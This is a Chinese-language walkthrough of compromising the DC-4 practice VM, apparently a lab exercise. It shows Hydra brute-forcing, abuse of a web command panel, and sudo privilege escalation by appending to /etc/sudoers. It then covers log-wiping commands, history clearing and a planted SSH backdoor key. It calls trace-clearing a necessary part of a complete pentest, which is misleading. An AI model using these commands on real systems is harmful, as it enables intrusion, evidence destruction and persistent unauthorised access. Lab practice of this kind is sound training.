
1. DC-4靶机渗透实战从信息搜集到权限提升的全过程解析作为一名网络安全从业者我最近在练习DC系列靶机时遇到了DC-4这个有趣的挑战。相比DC-3它的难度有所降低但对信息搜集能力提出了更高要求。下面我将详细记录整个渗透过程特别是一些关键节点的突破思路和实用技巧。1.1 初始信息搜集与突破口选择开始任何渗透测试前信息搜集都是最关键的第一步。我首先使用nmap对目标网络进行扫描nmap -sn 10.254.85.0/24 # 发现活跃主机 nmap -sV -p- 10.254.85.123 # 全面扫描目标端口和服务扫描结果显示目标开放了SSH服务22端口和一个Web服务80端口。访问Web界面发现是个简单的登录页面没有其他明显功能点。经验之谈在只有登录界面的情况下我通常会先尝试以下方法查看页面源代码寻找线索使用常见目录扫描工具如dirsearch探测隐藏路径检查是否有明显的CMS或框架特征1.2 Web应用弱口令爆破实战目录扫描没有发现特别有价值的信息后我决定尝试弱口令爆破。这里有几个关键决策点用户名选择在没有其他线索时admin是最常见的默认用户名密码字典选择使用经过验证的rockyou.txt字典爆破工具选择Hydra是这类任务的可靠选择具体爆破命令如下hydra -l admin -P rockyou.txt 10.254.85.123 http-post-form /login.php:username^USER^password^PASS^:Slogout -F参数解析-l admin指定用户名-P rockyou.txt指定密码字典http-post-form指定使用HTTP POST表单方式Slogout设置成功登录的标志页面出现logout字样经过一段时间爆破成功获取到凭证admin/happy。这个组合虽然简单但在实际环境中仍经常出现。2. 深入系统内部的权限提升之路2.1 从Web后台到系统访问登录后台后发现是个简单的命令执行界面。通过Burp Suite拦截请求可以修改参数执行任意命令# 查找可能包含敏感信息的文件 find / -iname *password* 2/dev/null这个命令发现了两个关键文件/home/jim/backups/old-passwords.bak备份文件其他一些可能包含密码信息的文件查看/etc/passwd确认系统存在三个用户root、jim和charles。通过查看jim的备份文件获取到一组历史密码。2.2 SSH爆破与用户切换有了可能的密码列表下一步就是尝试SSH登录hydra -l jim -P passwd.txt ssh://10.254.85.123成功爆破出jim的密码jibril04。通过SSH登录后系统提示有新邮件这引导我们查找邮件文件。重要技巧Linux系统中用户邮件通常存储在/var/mail或/var/spool/mail目录下文件名与用户名相同。这个知识点在实际渗透中非常有用。2.3 利用邮件信息横向移动查看jim的邮件发现重要信息charles用户要去休假并留下了他的账户密码。这使我们能够切换到charles用户su charles # 输入邮件中提供的密码切换到charles后检查sudo权限sudo -l发现charles可以无密码执行/usr/bin/teehee命令。这个命令类似于tee可以用于文件写入。3. 权限提升与系统控制3.1 利用sudo权限漏洞提权通过分析我们可以利用teehee的写入权限修改/etc/sudoers文件echo charles ALL(ALL:ALL) NOPASSWD:ALL | sudo teehee -a /etc/sudoers这条命令的作用是输出sudoers配置规则通过管道传递给teehee命令以sudo权限追加到/etc/sudoers文件现在charles可以无密码执行任何sudo命令直接获取root权限sudo su root3.2 后渗透阶段痕迹清理获得root权限后应当清理渗透痕迹。主要清理以下几类日志Web日志清理sed -i /10.254.85.123/d /var/log/nginx/access.log sed -i /10.254.85.123/d /var/log/nginx/error.log系统日志清理sed -i /10.254.85.123/d /var/log/auth.log sed -i /10.254.85.123/d /var/log/syslog历史记录清理history -c set o history # 临时禁用历史记录4. SSH持久化后门技术详解4.1 密钥对生成与配置在攻击机上生成专用密钥对cd ~/.ssh ssh-keygen -t rsa -b 4096 -f dc4_backdoor # 不设置密码将公钥写入目标的authorized_keys文件mkdir -p /root/.ssh chmod 700 /root/.ssh echo ssh-rsa AAAAB3NzaC1yc2E... /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys4.2 SSH认证原理深度解析SSH公钥认证的核心是非对称加密客户端持有私钥服务器存储公钥认证时服务器发送随机挑战客户端用私钥签名后返回服务器用公钥验证签名这种机制的安全优势在于私钥始终不离开客户端每次认证使用不同的随机数防止重放攻击数学上难以从公钥推导私钥4.3 权限设置的重要性正确的文件权限对SSH认证至关重要.ssh目录应为700仅所有者可读写执行authorized_keys文件应为600仅所有者可读写权限不当会导致SSH拒绝使用密钥认证5. 渗透测试经验总结与反思这次DC-4靶机渗透过程中有几个关键点值得注意信息搜集的全面性从Web登录到系统内部每个环节都需要仔细寻找线索密码重用问题用户在不同服务间重用密码是常见弱点权限配置错误不当的sudo配置是提权的常见突破口日志清理的必要性完整的渗透流程应包括痕迹清理在实际工作中渗透测试完成后应当提供详细的安全加固建议帮助客户修复发现的问题。这次练习再次验证了一个真理充分的信息搜集是成功渗透的基础。正如安全领域那句名言所说最好的漏洞扫描器是你大脑而燃料是充分的信息。通过这次靶机练习我不仅巩固了常见渗透技术更重要的是培养了系统性思考的能力。每个环节的突破都建立在对前一步信息的充分利用上这种串联思维在实际工作中至关重要。